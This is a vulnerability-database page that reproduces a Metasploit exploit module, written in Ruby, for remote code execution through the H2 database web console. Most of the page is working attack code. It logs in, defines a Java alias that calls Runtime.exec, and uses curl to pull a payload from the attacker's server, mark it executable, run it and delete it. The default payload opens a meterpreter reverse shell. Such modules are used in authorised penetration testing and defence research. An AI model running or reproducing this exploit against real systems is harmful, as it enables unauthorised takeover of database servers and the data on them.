Lucene search
K

H2 Web Interface Create Alias Remote Code Execution

🗓️ 16 Aug 2023 00:00:00Reported by h00die, gambler, h4ckNinja, Nairuz Abulhul, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 780 Views

H2 Web Interface allows creation of Java code alias for remote code executio

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'H2 Web Interface Create Alias RCE',  
'Description' => %q{  
The H2 database contains an alias function which allows for arbitrary Java code to be used.  
This functionality can be abused to create an exec functionality to pull our payload down  
and execute it. H2's web interface contains restricts MANY characters, so injecting a payload  
directly is not favorable. A valid database connection is required. If the database engine  
was configured to allow creation of databases, the module default can be used which  
utilizes an in memory database. Some Docker instances of H2 don't allow writing to  
folders such as /tmp, so we default to writing to the working directory of the software.  
  
This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'gambler', # edb 44422  
'h4ckNinja', # edb 45506  
'Nairuz Abulhul' # medium write-up  
],  
'References' => [  
[ 'EDB', '44422'],  
[ 'EDB', '45506'],  
[ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],  
[ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']  
],  
'Stance' => Stance::Aggressive,  
'Platform' => 'unix',  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Payload' => {  
# likely more, these aren't really used now that we go with a curl  
# to retrieve our payload, but leaving here for future travelers  
'BadChars' => '"<>;|`\\'  
},  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'NOCVE' => ['abusing a feature']  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8082),  
OptString.new('USERNAME', [ true, 'User to login with', '']),  
OptString.new('PASSWORD', [ true, 'Password to login with', '']),  
OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),  
OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),  
OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])  
]  
)  
end  
  
def get_jsessionid  
vprint_status('Obtaining jsessionid (cookie equivalent)')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'method' => 'GET'  
)  
return nil if res.nil?  
return nil unless res.code == 200  
  
if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/  
vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")  
return Regexp.last_match(1)  
else  
return nil  
end  
end  
  
def login(check_only: false)  
page = 'login.do'  
if check_only  
page = 'test.do'  
end  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, page),  
'method' => 'POST',  
'vars_get' => {  
'jsessionid' => @jsessionid  
},  
'vars_post' => {  
'language' => 'en',  
'setting' => 'Generic+H2+%28Server%29',  
'name' => 'Generic+H2+%28Server%29',  
'driver' => 'org.h2.Driver',  
'url' => datastore['DATABASE'],  
'user' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
end  
  
def check  
@jsessionid = get_jsessionid  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login.jsp'),  
'method' => 'GET',  
'vars_get' => {  
'jsessionid' => @jsessionid  
}  
})  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'  
  
print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/  
print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/  
res = login(check_only: true)  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'  
  
CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")  
end  
  
def send_command(command)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'query.do'),  
'method' => 'POST',  
'vars_get' => {  
'jsessionid' => @jsessionid  
},  
'vars_post' => {  
'sql' => command  
}  
})  
return nil if res.nil?  
return nil if res.code != 200  
  
res.body  
end  
  
def get_version  
version = send_command('SELECT H2VERSION() FROM DUAL;')  
# regex likely to break on version upgrades unfortunately  
if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}  
print_good("H2 Version detected: #{Regexp.last_match(1)}")  
return  
end  
print_error('Unable to detect version')  
end  
  
def on_request_uri(cli, _request)  
print_good('Received payload request')  
send_response(cli, payload.encoded)  
end  
  
def exploit  
@jsessionid ||= get_jsessionid  
  
res = login  
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?  
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200  
  
if datastore['GETVERSION']  
get_version  
end  
  
start_service  
alias_name = Rex::Text.rand_text_alpha_upper(6..12)  
alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|  
# escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html  
payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"  
vprint_status("Saving payload as #{payload_name}")  
run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');  
CALL #{alias_name}('chmod a+x #{payload_name}');  
CALL #{alias_name}('./#{payload_name} &');  
CALL #{alias_name}('rm -rf #{payload_name}');"  
delete_alias = "DROP ALIAS #{alias_name};"  
print_status('Attempting to execute payload retrieval')  
send_command("#{alias_function} #{run_alias} #{delete_alias}")  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2023 00:00Current
7.1High risk
Vulners AI Score7.1
780